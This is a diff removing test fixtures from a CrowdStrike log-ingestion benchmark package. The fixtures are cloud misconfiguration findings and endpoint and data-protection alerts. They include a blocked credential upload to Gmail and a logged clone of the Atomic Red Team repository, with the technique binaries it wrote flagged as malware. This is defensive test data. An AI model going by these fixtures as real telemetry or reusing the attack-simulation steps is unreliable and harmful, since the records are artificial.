-                "original": "{\"Tags\":null,\"service\":1,\"internal_only\":false,\"cloud_asset_type\":86,\"policy_statement\":\"VPC subnets should not allow automatic public IP assignment\",\"PolicyStatement\":\"VPC subnets should not allow automatic public IP assignment\",\"policy_severity\":2,\"mitre_attack_tactics_url\":\"https://attack.mitre.org/tactics/TA0001/\",\"ResourceId\":\"subnet-48686135\",\"resource_url\":\"https://eu-central-1.console.aws.amazon.com/vpc/home?region=eu-central-1#SubnetDetails:subnetId=subnet-48686135\",\"Finding\":\"Map Public IP On Launch:True|Subnet Id:subnet-48686135|Subnet Owner:123456789012\",\"ResourceAttributes\":{\"Enable Resource Name A Record\":false,\"IPv6 Native\":false},\"cloudplatform\":\"aws\",\"Severity\":2,\"Disposition\":\"Failed\",\"Region\":\"eu-central-1\",\"finding\":\"Map Public IP On Launch:True|Subnet Id:subnet-48686135|Subnet Owner:123456789012\",\"policy_id\":547,\"PolicyId\":547,\"CloudPlatform\":\"AWS\",\"CloudService\":\"EC2\",\"disposition\":\"Failed\",\"mitre_attack_tactics_name\":\"Initial Access\",\"AccountId\":\"123456789012\",\"region\":\"eu-central-1\",\"pci_benchmark_ids\":\"{263}\",\"cisa_benchmark_ids\":\"{16}\",\"nist_benchmark_ids\":\"{16,65,66,531}\",\"ResourceIdType\":\"AWS Subnet Id\",\"ResourceCreateTime\":\"0001-01-01T00:00:00Z\",\"ResourceUrl\":\"https://eu-central-1.console.aws.amazon.com/vpc/home?region=eu-central-1#SubnetDetails:subnetId=subnet-48686135\",\"event-type\":\"cspm_policy_547\",\"iso_benchmark_ids\":\"{10,15,62,63}\",\"soc2_benchmark_ids\":\"{15,17}\",\"cis_benchmark_ids\":\"{714}\"}",
-                "severity": 47,
-                "type": [
-                    "info"
-                ]
-            },
-            "message": "VPC subnets should not allow automatic public IP assignment",
-            "rule": {
-                "id": "547",
-                "name": "VPC subnets should not allow automatic public IP assignment"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "Initial Access"
-                    ],
-                    "reference": [
-                        "https://attack.mitre.org/tactics/TA0001/"
-                    ]
-                }
-            }
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "cloud": {
-                "account": {
-                    "id": "111111111111"
-                },
-                "provider": "1",
-                "region": "us-west-2"
-            },
-            "crowdstrike": {
-                "ResourceAttributes": {
-                    "Account Id": "111111111111",
-                    "Allocated Storage": "100",
-                    "Availability Zone": "us-west-2b",
-                    "Ca Certificate Identifier": "rds-ca-rsa2048-g1",
-                    "Creation Date": "2024-06-05 18:58:51.178+00",
-                    "Db Endpoint Address": "frogs-sdet-session-rds.cbckjpktxduh.us-west-2.rds.amazonaws.com",
-                    "Db Endpoint Port": "5432",
-                    "Db Instance Class": "db.t3.medium",
-                    "Db Instance Identifier": "frogs-sdet-session-rds",
-                    "Db Instance Port": "0",
-                    "Db Instance Status": "available",
-                    "Db Subnet Group Name": "frogs-sdet-rds-subnet-group",
-                    "Http Endpoint Enabled": false,
-                    "Iam Database Authentication Enabled": false,
-                    "Kms Key Id": "arn:aws:kms:us-west-2:111111111111:key/abcdefgh-0ae7-417b-a150-f37b1346cc39",
-                    "Master User Name": "postgres",
-                    "Publicly Accessible": false,
-                    "Region": "us-west-2",
-                    "Resource Creation Time": "1717613931",
-                    "Storage Encrypted": true,
-                    "Storage Type": "gp2",
-                    "Vpc Id": "vpc-02580c66de16e60df"
-                },
-                "ResourceId": "frogs-sdet-session-rds",
-                "ResourceIdType": "Database Instance",
-                "aws_account_id": "111111111111",
-                "cid": "4c09185e44d1xxxxxxxxxf9d6ac1fd5425",
-                "disposition": "Failed",
-                "event-type": "custom_detection_policy",
-                "internal_only": false,
-                "policy_severity": 3,
-                "service": "RDS"
-            },
-            "event": {
-                "category": [
-                    "configuration"
-                ],
-                "id": "||4c09185e44d1xxxxxxxxxf9d6ac1fd5425",
-                "kind": "alert",
-                "original": "{\"event-type\":\"custom_detection_policy\",\"AccountId\":\"111111111111\",\"cid\":\"4c09185e44d1xxxxxxxxxf9d6ac1fd5425\",\"CloudPlatform\":\"AWS\",\"cloudplatform\":1,\"disposition\":\"Failed\",\"Finding\":\"Auto Minor Version Upgrade:false\",\"internal_only\":false,\"policy_id\":1224,\"policy_statement\":\"RDS minor version upgrade is disabled\",\"region\":\"us-west-2\",\"ResourceAttributes\":\"{\\\"Resource Creation Time\\\":\\\"1717613931\\\",\\\"Db Instance Status\\\":\\\"available\\\",\\\"Allocated Storage\\\":\\\"100\\\",\\\"Storage Encrypted\\\":true,\\\"Iam Database Authentication Enabled\\\":false,\\\"Availability Zone\\\":\\\"us-west-2b\\\",\\\"Master User Name\\\":\\\"postgres\\\",\\\"Db Instance Identifier\\\":\\\"frogs-sdet-session-rds\\\",\\\"Publicly Accessible\\\":false,\\\"Region\\\":\\\"us-west-2\\\",\\\"Db Subnet Group Name\\\":\\\"frogs-sdet-rds-subnet-group\\\",\\\"Account Id\\\":\\\"111111111111\\\",\\\"Http Endpoint Enabled\\\":false,\\\"Kms Key Id\\\":\\\"arn:aws:kms:us-west-2:111111111111:key/abcdefgh-0ae7-417b-a150-f37b1346cc39\\\",\\\"Db Instance Port\\\":\\\"0\\\",\\\"Db Endpoint Address\\\":\\\"frogs-sdet-session-rds.cbckjpktxduh.us-west-2.rds.amazonaws.com\\\",\\\"Ca Certificate Identifier\\\":\\\"rds-ca-rsa2048-g1\\\",\\\"Db Name\\\":null,\\\"Tags\\\":{},\\\"Vpc Id\\\":\\\"vpc-02580c66de16e60df\\\",\\\"Db Endpoint Port\\\":\\\"5432\\\",\\\"Storage Type\\\":\\\"gp2\\\",\\\"Db Instance Class\\\":\\\"db.t3.medium\\\",\\\"Creation Date\\\":\\\"2024-06-05 18:58:51.178+00\\\"}\",\"ResourceId\":\"frogs-sdet-session-rds\",\"ResourceIdType\":\"Database Instance\",\"ResourceUrl\":\"\",\"service\":\"RDS\",\"policy_severity\":3,\"tags\":{},\"cis_benchmark_ids\":null,\"nist_benchmark_ids\":null,\"pci_benchmark_ids\":null,\"soc2_benchmark_ids\":null,\"mitre_attack_tactics_name\":\"\",\"mitre_attack_techniques_name\":\"\",\"mitre_attack_tactics_url\":\"\",\"mitre_attack_techniques_url\":\"\",\"aws_account_id\":\"111111111111\"}",
-                "type": [
-                    "info"
-                ]
-            },
-            "message": "RDS minor version upgrade is disabled",
-            "rule": {
-                "id": "1224",
-                "name": "RDS minor version upgrade is disabled"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log
deleted file mode 100644
index 4441a6449e..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log
+++ /dev/null
@@ -1 +0,0 @@
-{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","AgentIdString":"5d77282ab4fxxxxxxxxxx65784cfa8f0","cid":"2cc98db1a4xxxxxxxxxxc94d43bfab70","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","ContentPatterns":[{"ConfidenceLevel":3,"ID":"4392b1416c974a488c31fbc4c97e89f6","MatchCount":1,"Name":"Credentials"}],"ContentSha":"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08","CustomerIdString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","DataVolume":39,"Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Destination":{"Channel":"web"},"DetectionType":"rule-based","EgressEventId":"89282731b67811f0a9f0c0892b3c995e","eid":118,"EventTimestamp":1761929044,"EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_DataProtectionDetectionSummaryEvent","FalconHostLink":"https://falcon.us-2.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:89282731b67811f0a9f0c0892b3c995e?_cid\u003dg04000alcexxxxxxxxxxnfyokz7bajkq","Filename":"sensitive_123.txt","FileType":{"Type":{"CategoryID":"4689d0386bdd4e2e9423a0fc19dcaccb","CategoryName":"Document","Description":"Plain Text (txt) File","ID":"48a7eca83afa42a78cf12b8f2f877eec","Name":"Plain Text"}},"Hostname":"DESKTOP-OM905R2","IsClipboard":false,"MatchedClassification":{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"},"MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"Name":"Test attempted to be uploaded to Google Drive","Nonce":3100301192206752520,"PatternId":80005,"Platform":"Windows","Policy":{"ID":"a6e6792845654b69a8a89e793421b77a","Name":"Data Protection Policy"},"RelatedClassifications":[{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"}],"ResponseAction":"blocked","RuleId":"7d81198e7da846b2a664afccc7f5d9e4","Severity":90,"SeverityName":"Critical","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","timestamp":"2025-10-31T11:16:38Z","UserName":"Bob","UserNotified":true,"UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","UTCTimestamp":1761909398}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log-expected.json
deleted file mode 100644
index cdb340a5bd..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log-expected.json
+++ /dev/null
@@ -1,133 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2025-10-31T11:16:38.000Z",
-            "crowdstrike": {
-                "AgentIdString": "5d77282ab4fxxxxxxxxxx65784cfa8f0",
-                "CompositeId": "2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e",
-                "ContentPatterns": [
-                    {
-                        "ConfidenceLevel": 3,
-                        "ID": "4392b1416c974a488c31fbc4c97e89f6",
-                        "MatchCount": 1,
-                        "Name": "Credentials"
-                    }
-                ],
-                "CustomerIdString": "2cc98db1a4xxxxxxxxxxc94d43bfab70",
-                "Destination": {
-                    "Channel": "web"
-                },
-                "DetectionType": "rule-based",
-                "EventTimestamp": "2025-10-31T16:44:04.000Z",
-                "EventType": "Event_ExternalApiEvent",
-                "ExternalApiType": "Event_DataProtectionDetectionSummaryEvent",
-                "FileType": {
-                    "Type": {
-                        "CategoryID": "4689d0386bdd4e2e9423a0fc19dcaccb",
-                        "CategoryName": "Document",
-                        "Description": "Plain Text (txt) File",
-                        "ID": "48a7eca83afa42a78cf12b8f2f877eec",
-                        "Name": "Plain Text"
-                    }
-                },
-                "IsClipboard": false,
-                "MatchedClassification": {
-                    "ID": "8318b19065af48fa839f9259022e5e0a",
-                    "Name": "Test"
-                },
-                "Nonce": 3100301192206752520,
-                "PatternId": 80005,
-                "RelatedClassifications": [
-                    {
-                        "ID": "8318b19065af48fa839f9259022e5e0a",
-                        "Name": "Test"
-                    }
-                ],
-                "ResponseAction": "blocked",
-                "RuleId": "7d81198e7da846b2a664afccc7f5d9e4",
-                "SensorId": "5d77282ab4fxxxxxxxxxx65784cfa8f0",
-                "Severity": 90,
-                "SeverityName": "Critical",
-                "UserNotified": true,
-                "cid": "2cc98db1a4xxxxxxxxxxc94d43bfab70",
-                "eid": 118
-            },
-            "device": {
-                "id": "5d77282ab4fxxxxxxxxxx65784cfa8f0"
-            },
-            "event": {
-                "action": "Test attempted to be uploaded to Google Drive",
-                "category": [
-                    "malware"
-                ],
-                "created": "2025-10-31T11:16:38.000Z",
-                "id": "||2cc98db1a4xxxxxxxxxxc94d43bfab70",
-                "kind": "alert",
-                "original": "{\"AgentId\":\"5d77282ab4fxxxxxxxxxx65784cfa8f0\",\"AgentIdString\":\"5d77282ab4fxxxxxxxxxx65784cfa8f0\",\"cid\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70\",\"CompositeId\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e\",\"ContentPatterns\":[{\"ConfidenceLevel\":3,\"ID\":\"4392b1416c974a488c31fbc4c97e89f6\",\"MatchCount\":1,\"Name\":\"Credentials\"}],\"ContentSha\":\"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08\",\"CustomerIdString\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70\",\"DataVolume\":39,\"Description\":\"Bob attempted to upload sensitive_123.txt to Google Gmail\",\"Destination\":{\"Channel\":\"web\"},\"DetectionType\":\"rule-based\",\"EgressEventId\":\"89282731b67811f0a9f0c0892b3c995e\",\"eid\":118,\"EventTimestamp\":1761929044,\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_DataProtectionDetectionSummaryEvent\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:89282731b67811f0a9f0c0892b3c995e?_cid\\u003dg04000alcexxxxxxxxxxnfyokz7bajkq\",\"Filename\":\"sensitive_123.txt\",\"FileType\":{\"Type\":{\"CategoryID\":\"4689d0386bdd4e2e9423a0fc19dcaccb\",\"CategoryName\":\"Document\",\"Description\":\"Plain Text (txt) File\",\"ID\":\"48a7eca83afa42a78cf12b8f2f877eec\",\"Name\":\"Plain Text\"}},\"Hostname\":\"DESKTOP-OM905R2\",\"IsClipboard\":false,\"MatchedClassification\":{\"ID\":\"8318b19065af48fa839f9259022e5e0a\",\"Name\":\"Test\"},\"MitreAttack\":[{\"Tactic\":\"Exfiltration\",\"TacticID\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueID\":\"T1567\"}],\"Name\":\"Test attempted to be uploaded to Google Drive\",\"Nonce\":3100301192206752520,\"PatternId\":80005,\"Platform\":\"Windows\",\"Policy\":{\"ID\":\"a6e6792845654b69a8a89e793421b77a\",\"Name\":\"Data Protection Policy\"},\"RelatedClassifications\":[{\"ID\":\"8318b19065af48fa839f9259022e5e0a\",\"Name\":\"Test\"}],\"ResponseAction\":\"blocked\",\"RuleId\":\"7d81198e7da846b2a664afccc7f5d9e4\",\"Severity\":90,\"SeverityName\":\"Critical\",\"Tactic\":\"Exfiltration\",\"TacticId\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueId\":\"T1567\",\"timestamp\":\"2025-10-31T11:16:38Z\",\"UserName\":\"Bob\",\"UserNotified\":true,\"UserSid\":\"S-1-5-21-2123450692-2512345670-1234574870-1234\",\"UTCTimestamp\":1761909398}",
-                "outcome": "failure",
-                "reference": "https://falcon.us-2.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:89282731b67811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq",
-                "severity": 99,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "extension": "txt",
-                "hash": {
-                    "sha256": "21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08"
-                },
-                "name": "sensitive_123.txt",
-                "size": 39
-            },
-            "host": {
-                "name": "DESKTOP-OM905R2",
-                "os": {
-                    "platform": "windows"
-                }
-            },
-            "message": "Bob attempted to upload sensitive_123.txt to Google Gmail",
-            "related": {
-                "hash": [
-                    "21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08"
-                ],
-                "hosts": [
-                    "DESKTOP-OM905R2"
-                ],
-                "user": [
-                    "Bob",
-                    "S-1-5-21-2123450692-2512345670-1234574870-1234"
-                ]
-            },
-            "rule": {
-                "id": "a6e6792845654b69a8a89e793421b77a",
-                "name": "Data Protection Policy"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "MITRE ATT&CK",
-                "tactic": {
-                    "id": [
-                        "TA0010"
-                    ],
-                    "name": [
-                        "Exfiltration"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "T1567"
-                    ],
-                    "name": [
-                        "Exfiltration Over Web Service"
-                    ]
-                }
-            },
-            "user": {
-                "id": "S-1-5-21-2123450692-2512345670-1234574870-1234",
-                "name": "Bob"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log
deleted file mode 100644
index 89462c5441..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log
+++ /dev/null
@@ -1,14 +0,0 @@
-{"ProcessStartTime":1718032715,"ProcessEndTime":1718032715,"ProcessId":43009301133,"ParentProcessId":25841449898,"Hostname":"DESKTOP1111","UserName":"USER11111","Name":"NGAV","Description":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":30,"SeverityName":"Low","FileName":"rfusclient.exe","FilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","CommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession","SHA256String":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","MD5String":"848a53dc549be0386e5da0f49700c389","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"OVAC","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","IOCType":"hash_sha256","IOCValue":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"81.2.69.144","MACAddress":"01-23-45-67-89-ab","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"rutserv.exe","ParentCommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"","GrandParentImageFileName":"services.exe","GrandParentCommandLine":"C:\\Windows\\system32\\services.exe","HostGroups":"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd","AssociatedFile":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","PatternId":5728,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe","LocalIPv6":"","ExternalApiType":"Event_EppDetectionSummaryEvent"}
-{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":"","ExternalApiType":"Event_EppDetectionSummaryEvent"}
-{"Hostname":"FRHOSTNAME","Name":"OnDemandScanfiletest","Severity":70,"FileName":"testfile.vmx","FilePath":"D:\\RECYCLER\\testpath\\testfile.vmx","SHA256String":"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections","AgentId":"1122025ec596478d830520000000000","CompositeId":"7da61e27e34f4b8394081896af72e2c7","LocalIP":"81.2.69.144","MACAddress":"88-44-66-77-11-22","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","HostGroups":"2a5927e82d644aa9,be74ccf2c2f444cf900","SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","Type":"ods","LocalIPv6":"","ExternalApiType":"Event_EppDetectionSummaryEvent"}
-{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":"2a02:cf40::","ExternalApiType":"Event_EppDetectionSummaryEvent"}
